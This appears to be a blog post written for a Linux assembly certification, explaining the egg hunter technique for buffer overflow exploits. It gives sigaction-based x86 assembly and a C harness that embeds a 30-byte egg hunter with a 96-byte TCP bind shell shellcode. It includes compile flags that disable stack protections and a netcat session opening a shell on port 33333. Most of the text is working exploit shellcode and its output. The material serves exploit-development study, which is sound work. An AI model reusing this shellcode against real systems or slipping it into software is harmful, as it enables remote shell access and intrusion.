SLAE #3: Egg Hunter Shellcode

This is the third post in the SLAE series.

Assignment #3 consists in writing a working demo of an egg hunter shellcode. There’s a great paper by skape that explains the theory behind it and provides three practical approaches to its implementation.

The main idea is that if our payload doesn’t fit into the available buffer, we can insert a smaller shellcode (the egg hunter) that will be in charge of searching through memory for the larger/more interesting shellcode and execute it. e.g: you exploit a buffer overflow and are able to store up to 40 bytes. However, the reverse shell payload is 90 bytes long. If you manage to store the reverse shell payload somewhere else in memory, you can store the egg hunter shellcode in the 40 bytes available during exploitation, and then have it search through the process virtual address space, find the reverse shell payload, and execute it.

An egg is just an 8 byte signature. The key is 4 bytes long, but it’s repeated twice to avoid collisions with other data. Moreover, the egg hunter itself will contain the 4 byte key, so we could risk the hunter incorrectly identifying itself instead of the desired payload.

The signature should be prepended to the larger payload we want to execute.

. . . [egg hunter] . . . [4 byte egg][4 byte egg][shellcode] . . .

skape’s paper provides three different implementations. All of them use system calls to traverse through the virtual address space and exploit the fact that most syscalls will return the EFAULT error code to indicate that the pointer passed as an argument is invalid. This means the egg hunter can search for the egg in a crash-free manner, since invalid pointers are never dereferenced.

For the purpose of this demo, I’ll use the sigaction(2) implementation. It’s the smallest and the fastest of the three approaches analyzed in the paper, and it doesn’t require the egg to be executable.

Let’s use 0x50905090 as the egg (it should be repeated twice). The egg hunter code looks as follows.

align_page:
    or cx,0xfff         ; page alignment
next_address:
    inc ecx
    push byte +0x43     ; sigaction(2)
    pop eax             ; store syscall identifier in eax
    int 0x80            ; call sigaction(2)
    cmp al,0xf2         ; did we get an EFAULT?
    jz align_page       ; invalid pointer - try with the next page
    mov eax, 0x50905090 ; place the egg in eax
    mov edi, ecx        ; address to be validated
    scasd               ; compare eax / edi and increment edi by 4 bytes
    jnz next_address    ; no match - try with the next address
    scasd               ; first 4 bytes matched, what about the other half?
    jnz next_address    ; no match - try with the next address
    jmp edi             ; egg found! jump to our payload

The resulting shellcode is 30 bytes long. As usual, we can extract the opcodes with objdump -M intel -d binary or using some command line fu.

Our payload will be the TCP bind shell created for the first assignment, which is 96 bytes long. Keep in mind that the egg hunter remains the same for any other shellcode we would like to execute.

Putting it all together.

#include <stdio.h>
#include <string.h>

#define EGG "\x90\x50\x90\x50"

unsigned char egghunter[] = \
"\x66\x81\xc9\xff\x0f"  // or     cx,0xfff
"\x41"                  // inc    ecx
"\x6a\x43"              // push   0x43
"\x58"                  // pop    eax
"\xcd\x80"              // int    0x80
"\x3c\xf2"              // cmp    al,0xf2
"\x74\xf1"              // je     align_page
"\xb8" 
EGG                     // mov    eax,0x50905090
"\x89\xcf"              // mov    edi,ecx
"\xaf”                  // scas   eax,DWORD PTR es:[edi]
"\x75\xec"              // jne    next_address
"\xaf”                  // scas   eax,DWORD PTR es:[edi]
"\x75\xe9"              // jne    next_address
"\xff\xe7";             // jmp    edi

unsigned char code[] = \
EGG
EGG
"\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6"
"\xb0\x66\x43\x52\x66\x68\x82\x35\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1"
"\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52"
"\x56\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x92"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50"
"\x89\xe2\xb0\x0b\xcd\x80";

int main(void) {
    printf("Shellcode length + 8 byte egg: %d\n", strlen(code));
    printf("Egg hunter length: %d\n", strlen(egghunter));
    int (*ret)() = (int(*)())egghunter;
    ret();
}

Compile and run it.

$ gcc -o egghunter egghunter.c -fno-stack-protector -z execstack
$ ./egghunter 
Shellcode length + 8 byte egg:  104
Egg hunter length: 30

The shellcode binds to TCP port 33333 by default. We can connect to it using netcat.

$ nc localhost 33333
id
uid=1000(maxi) gid=1000(maxi) groups=1000(maxi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
whoami
maxi

You can find the code for this assignment on my Github repository.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-­651

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s